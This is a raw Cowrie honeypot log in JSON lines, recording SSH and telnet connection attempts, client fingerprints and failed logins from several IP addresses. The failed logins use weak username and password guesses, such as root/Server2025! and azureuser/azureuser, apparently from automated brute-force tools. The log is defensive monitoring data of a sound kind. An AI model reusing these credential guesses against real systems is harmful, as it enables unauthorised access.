{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:49.615667Z","src_ip":"94.26.106.229","session":"ddf24289e339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":42034,"dst_ip":"159.203.135.109","dst_port":22,"session":"04b31d3bc377","protocol":"ssh","message":"New connection: 83.111.76.195:42034 (159.203.135.109:22) [session: 04b31d3bc377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:49.945856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:49.950106Z","src_ip":"83.111.76.195","session":"04b31d3bc377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:50.153615Z","src_ip":"83.111.76.195","session":"04b31d3bc377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58660,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f7425fb37c","protocol":"telnet","message":"New connection: 152.42.224.71:58660 (10.17.0.5:23) [session: 28f7425fb37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:50.899351Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025!","message":"login attempt [root/Server2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:50.999869Z","src_ip":"83.111.76.195","session":"04b31d3bc377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162816047668,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:51.084419Z","src_ip":"152.42.224.71","session":"70b6cb5cbd8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38072,"dst_ip":"159.203.135.109","dst_port":22,"session":"97d3eabf146f","protocol":"ssh","message":"New connection: 45.156.87.204:38072 (159.203.135.109:22) [session: 97d3eabf146f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:51.152118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:51.156961Z","src_ip":"45.156.87.204","session":"97d3eabf146f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:51.239572Z","src_ip":"45.156.87.204","session":"97d3eabf146f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:51.486555Z","src_ip":"45.156.87.204","session":"97d3eabf146f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:52.210030Z","src_ip":"83.111.76.195","session":"04b31d3bc377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:52.668124Z","src_ip":"45.156.87.204","session":"97d3eabf146f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42044,"dst_ip":"159.203.135.109","dst_port":22,"session":"02426701306a","protocol":"ssh","message":"New connection: 45.156.87.204:42044 (159.203.135.109:22) [session: 02426701306a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:54.726856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:54.731688Z","src_ip":"45.156.87.204","session":"02426701306a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:54.814363Z","src_ip":"45.156.87.204","session":"02426701306a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":37048,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4270a5742de","protocol":"ssh","message":"New connection: 94.26.106.229:37048 (159.203.135.109:22) [session: c4270a5742de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:55.153634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:55.238052Z","src_ip":"94.26.106.229","session":"c4270a5742de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:55.365034Z","src_ip":"94.26.106.229","session":"c4270a5742de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.87824082374573,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:55.392997Z","src_ip":"152.42.224.71","session":"e593729fa8e6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:55.408770Z","src_ip":"45.156.87.204","session":"02426701306a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"password","message":"login attempt [deployer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:55.743715Z","src_ip":"94.26.106.229","session":"c4270a5742de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:56.494656Z","src_ip":"45.156.87.204","session":"02426701306a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:56.837956Z","src_ip":"94.26.106.229","session":"c4270a5742de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":12742,"dst_ip":"159.203.135.109","dst_port":22,"session":"829f8786981a","protocol":"ssh","message":"New connection: 94.26.106.229:12742 (159.203.135.109:22) [session: 829f8786981a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:56.977226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:56.984869Z","src_ip":"94.26.106.229","session":"829f8786981a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42876,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c3e7bd0780d","protocol":"telnet","message":"New connection: 152.42.224.71:42876 (10.17.0.5:23) [session: 4c3e7bd0780d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.060186Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.071599Z","src_ip":"94.26.106.229","session":"829f8786981a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":37578,"dst_ip":"159.203.135.109","dst_port":22,"session":"906b60c0db7c","protocol":"ssh","message":"New connection: 45.183.70.66:37578 (159.203.135.109:22) [session: 906b60c0db7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.211972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.217735Z","src_ip":"45.183.70.66","session":"906b60c0db7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas","message":"login attempt [andreas/andreas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.320383Z","src_ip":"94.26.106.229","session":"829f8786981a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.334647Z","src_ip":"45.183.70.66","session":"906b60c0db7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mike","password":"123456","message":"login attempt [mike/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.835727Z","src_ip":"45.183.70.66","session":"906b60c0db7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":37054,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a1f8147e0d","protocol":"ssh","message":"New connection: 94.26.106.229:37054 (159.203.135.109:22) [session: a3a1f8147e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.850087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.858935Z","src_ip":"94.26.106.229","session":"a3a1f8147e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:57.945184Z","src_ip":"94.26.106.229","session":"a3a1f8147e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111111","message":"login attempt [root/111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.199794Z","src_ip":"94.26.106.229","session":"a3a1f8147e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.405813Z","src_ip":"94.26.106.229","session":"829f8786981a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42046,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ebef88b61a0","protocol":"ssh","message":"New connection: 45.156.87.204:42046 (159.203.135.109:22) [session: 7ebef88b61a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.630638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.634989Z","src_ip":"45.156.87.204","session":"7ebef88b61a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.717543Z","src_ip":"45.156.87.204","session":"7ebef88b61a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.957547Z","src_ip":"45.183.70.66","session":"906b60c0db7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:58.963860Z","src_ip":"45.156.87.204","session":"7ebef88b61a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:59.287053Z","src_ip":"94.26.106.229","session":"a3a1f8147e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.049721Z","src_ip":"45.156.87.204","session":"7ebef88b61a0","protocol":"ssh"}
